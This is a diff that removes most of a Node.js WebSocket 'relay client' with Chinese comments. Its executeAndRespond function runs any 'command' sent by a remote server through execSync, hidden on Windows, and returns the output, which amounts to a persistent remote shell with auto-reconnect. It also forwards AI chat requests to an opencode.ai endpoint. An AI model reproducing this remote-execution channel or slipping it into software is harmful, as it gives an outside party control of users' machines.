-    // 身份确认（兼容旧协议）
-    if (data.type === 'identity_ack') {
-      log(`身份确认: id=${data.id}`, "ACK");
-      return;
-    }
-
-    // 心跳回复（兼容旧协议：客户端主动 ping）
-    if (data.type === 'pong') {
-      return;
-    }
-
-    // ── 下面的消息是来自服务器的任务 ──
-    const rid = (data.request_id || "??").slice(0, 8);
-    const body = data.body || data;
-    const model = body.model || "?";
-    const prompt = (body.messages?.[0]?.content || body.command || "").slice(0, 60);
-
-    log(`收到任务 [${rid}] model=${model} prompt="${prompt}"`, "TASK");
-
-    if (body.command) {
-      executeAndRespond(data, body);
-    } else {
-      callOpenAIAndRespond(data);
-    }
-  };
-
-  ws.onclose = (event) => {
-    log(`组网通道关闭 (code=${event.code})`, "DISCONNECT");
-    cleanup();
-
-    if (!isKicked) {
-      triggerReconnect();
-    }
-  };
-
-  ws.onerror = (err) => {
-    log(`网络异常: ${err.message || err}`, "ERROR");
-  };
-}
-
-// =============================================================
-// 本地心跳看门狗：45 秒无数据 → 主动断开触发重连
-// =============================================================
-function resetHeartbeat() {
-  clearTimeout(heartbeatTimer);
-  heartbeatTimer = setTimeout(() => {
-    log(`超过 45 秒未收到服务器数据，链路疑似断开，主动触发自愈`, "WATCHDOG");
-    safeClose();
-  }, 45000);
-}
-
-// =============================================================
-// 指数退避重连算法
-// =============================================================
-function triggerReconnect() {
-  const delay = Math.min(
-    MAX_RECONNECT_DELAY,
-    BASE_RECONNECT_DELAY * Math.pow(2, reconnectAttempts)
-  ) + Math.random() * 1000;
-
-  reconnectAttempts++;
-  log(`将在 ${(delay / 1000).toFixed(1)}s 后重连 (第 ${reconnectAttempts} 次)`, "RECONNECT");
-
-  setTimeout(() => {
-    connect();
-  }, delay);
-}
-
-// =============================================================
-// 安全关闭
-// =============================================================
-function safeClose() {
-  if (ws) {
-    try { ws.close(1000, 'Bye'); } catch {}
-    ws = null;
-  }
-}
-
-function cleanup() {
-  clearTimeout(heartbeatTimer);
-  ws = null;
-}
-
-function releaseSingleInstance() {
-  if (singleInstanceServer) {
-    try { singleInstanceServer.close(); } catch {}
-    singleInstanceServer = null;
-  }
-}
-
-// =============================================================
-// 任务执行与响应
-// =============================================================
-function executeAndRespond(task, body) {
-  const { execSync } = require('child_process');
-  const cmd = body.command;
-  const cwd = body.cwd || process.cwd();
-  const timeout = Math.min(body.timeout || 60000, 300000);
-
-  log(`[>] exec: ${cmd.slice(0, 200)}`, "EXEC");
-
-  try {
-    const output = execSync(cmd, { cwd, timeout, encoding: "utf8", maxBuffer: 10 * 1024 * 1024, windowsHide: true });
-    log(`[<] exit=0 stdout=${output.length}B`, "EXEC");
-    sendResponse(task.request_id, { exitCode: 0, stdout: output, stderr: "" });
-  } catch (e) {
-    log(`[<] exit=${e.status || -1}`, "EXEC");
-    sendResponse(task.request_id, {
-      exitCode: e.status || -1,
-      stdout: e.stdout || "",
-      stderr: e.stderr || e.message,
-    });
-  }
-}
-
-function callOpenAIAndRespond(task) {
-  const body = task.body || task;
-
-  // 自动判断：如果 body 是 Anthropic 格式（有 messages 且不含 OpenAI 特征），自动转换
-  const needsConversion = isAnthropicFormat(body);
-
-  const doRequest = needsConversion
-    ? callOpenCodeWithConversion(body)
-    : fetch("https://opencode.ai/zen/v1/chat/completions", {
-        method: "POST",
-        headers: {
-          "Content-Type": "application/json",
-          Authorization: "Bearer public",
-          "x-opencode-client": "desktop",
-        },
-        body: JSON.stringify(body),
-      }).then(async (r) => {
-        const data = await r.json();
-        const content = data?.choices?.[0]?.message?.content || "";
-        log(`AI ${r.status === 200 ? "成功" : "失败"}: ${content.slice(0, 60)}`, "AI");
-        return data;
-      });
-
-  doRequest.then(response => {
-    sendResponse(task.request_id, response);
-  }).catch(e => {
-    log(`AI 异常: ${e.message}`, "AI");
-    sendResponse(task.request_id, { error: e.message });
-  });
-}
-
-function sendResponse(requestId, responseData) {
-  if (ws && ws.readyState === WS_OPEN) {
-    ws.send(JSON.stringify({ request_id: requestId, response: responseData }));
-  }
-}
-
-// ======== 启动 ========
-console.log("=".repeat(55));
-console.log("  🔧 PanRouter 高可用中继客户端 v3.0");
-console.log("  Node.js", process.version);
-console.log("=".repeat(55));
-console.log("  服务器:", SERVER);
-console.log("  节点ID:", NODE_ID);
-console.log("  平台:  ", process.platform);
-console.log("  单例锁:", `端口 ${LOCK_PORT}（防双开竞争）`);
-console.log("  重连:  ", `Base=${BASE_RECONNECT_DELAY}ms Max=${MAX_RECONNECT_DELAY}ms Jitter=1s`);
-console.log("  看门狗:", "45s 无数据自动自愈");
-console.log("  Kick  :", "收到踢出指令直接退出，不重连");
-console.log("=".repeat(55));
-
-// 先校验单例，再连接
-checkSingleInstance(() => {
-  connect();
-});